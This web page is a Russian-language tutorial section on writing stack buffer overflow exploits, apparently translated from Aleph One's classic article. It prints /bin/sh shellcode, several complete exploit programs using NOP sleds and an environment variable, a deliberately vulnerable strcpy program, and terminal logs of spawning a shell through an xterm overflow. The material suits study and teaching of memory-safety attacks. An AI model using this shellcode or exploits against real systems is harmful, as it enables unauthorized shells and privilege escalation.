My photo
 Моя диссертация
  • Автореферат
  • Статья
  •  Библиотека
  • Определение ОС
  • Сканирование портов
  • Безопасность TCP/IP
  • Атака format string
  • Переполнение буфера
  • Программирование
  • Linux Security Guide
  • Secure programming
  • RFC Index List
  •  Ссылки
  • Списки рассылки
  • Группы новостей Usenet
  • Web сайты
  • Ftp архивы
  •  Поиск в Internet
  • Статистика поиска
  • Designed by
    Andrew V.Volkogon
    2002

    Title
      RussianEnglishUkranian  
     
    ТЕОРИЯ АТАК ПЕРЕПОЛНЕНИЯ БУФЕРА
    Статья 10/11/2000 by ya_mun

    Написание exploit'a
           Настало время соединить все части вместе.У нас есть шелкод. Известно, что он должен быть частью строки ,которую мы будем использовать для переполнения буфера.Получаем: overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------
           Заполняем массив large_string[] адресом буфера buffer[] ,который указывает, где будет располагаться наш код. Затем шелкод копируется в начало строки large_string.Далее функцией strcpy() cтрока large_string cкопируется в буфер без каких-либо проверок и перезапишет адрес возврата адресом шелкода.Как только отработает функция main и будет произведена попытка возврата из нее, управление передастся шелкоду.
           Проблема, с которой мы столкнулись - выяснение адреса расположения шелкода, который он получит, когда строка переполнения буфера будет помещена в стек .Ее решение - начальный адрес стека при запуске каждого нового приложения будет одним и тем же.Большинство программ не помешают в стек больше нескольких сотен или тысяч байт. Поэтому зная, где он начинается, мы можем угадать примерное расположение буфера, который будем переполнять. Приведенная ниже программа возвращает значение SP, которое получает любая программа в данной системе при своем запуске. sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------
           Для определенности будем считать, что уязвимая для атаки переполнения буфера программа выглядит так: vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------
           Мы можем написать программу, которой будут передается параметрами размер буфера и смещение относительно ее собственного IP.Для удобства строку, переполняющую буфер, поместим в переменную окружения: exploit2.c ------------------------------------------------------------------------------ #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------
           Теперь попытаемся угадать, какими должны быть размер буфера и смещения: ------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------
           Очевидно, что процесс угадывания далеко не эффективен. Попытки угадать значение смещения, даже зная адреса начала стека, не дают удовлетворительного результата.Нижняя грань необходимого количества попыток исчисляется сотнями,верхняя - тысячами.Проблема в том, что мы пытаемся угадать точный адреса начала нашего кода.Если это значение будет отличаться хотя бы на один байт, то результатом будут - segmentation violation или incorrect instruction.
           Единственный способ повысить вероятность угадывания - заполнить начало переполняющего буфер кода инструкцией NOP ,эквивалентной пустому оператору.Она есть почти во всех процессорах и обычно используется для создания задержек при выполнении программы.Заполним ею половину нашего кода.Сам шелкод расположим в центре.
           Теперь, в случае удачи, адрес возврата укажет на одну из команд NOP и вслед за ними выполнится шелкод. Машинный код для NOP - 0x90.В предположении , что стек начинается с адреса 0xff ,S обозначает шелкод, N - команды NOP, новая схема стека будет выглядеть следующим образом: нижние DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF верхние адреса памяти адреса 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF памяти buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| вершина стека основание стека
           Новый exploit тогда: exploit3.c ------------------------------------------------------------------------------ #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------
           Разумный выбор для размера нашего буфера: + 100 байт к величине буфера, в котором происходит переполнение(512 байт). Итого, 612.Сам шелкод находится в конце, и для операций NOP остается достаточно места. Испробуем новую версию exploit'a на тестовой программе : ------------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------
           Работает с первой попытки! Небольшое усовершенствование увеличило вероятность в сотни раз.Остается проверить работу exploit'a на реальных программах.Для демонстрации используем ошибку переполнения буфера в библиотеке Xt. Конкретно, используем xterm ( все приложения, использующие данную версию библиотеки Xt, уязвимы). Необходимо запустить X сервер, разрешить подсоединения к нему с localhost и соответственно настроить переменную DISPLAY. ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "л^1¤FF ° уV ¤1¤Ш@¤иЬяяя/bin/sh¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤я ї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яїяї¤¤яї¤¤яї¤¤яї¤¤ яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤ ¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яї¤¤яяї¤¤яї¤¤яї¤¤яї¤¤ ^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "л^1¤FF ° уV ¤1¤Ш@¤иЬяяя/bin/sh¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яї H¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤¤яїH¤яїH¤яїH¤яїH¤яїH ¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїHїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яї їH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤яїH¤я Warning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "л^1¤FF ° уV ¤1¤Ш@¤иЬяяя/bin/shыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTы яїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяыяїTыяїTыяїTыяїTыяїTыяїTыяї TыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTы їTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыяїTыя Warning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------------
           Понадобилось менее дюжины попыток для нахождения нужных значений. Если бы у xterm был атрибут suid, то мы получили бы root shell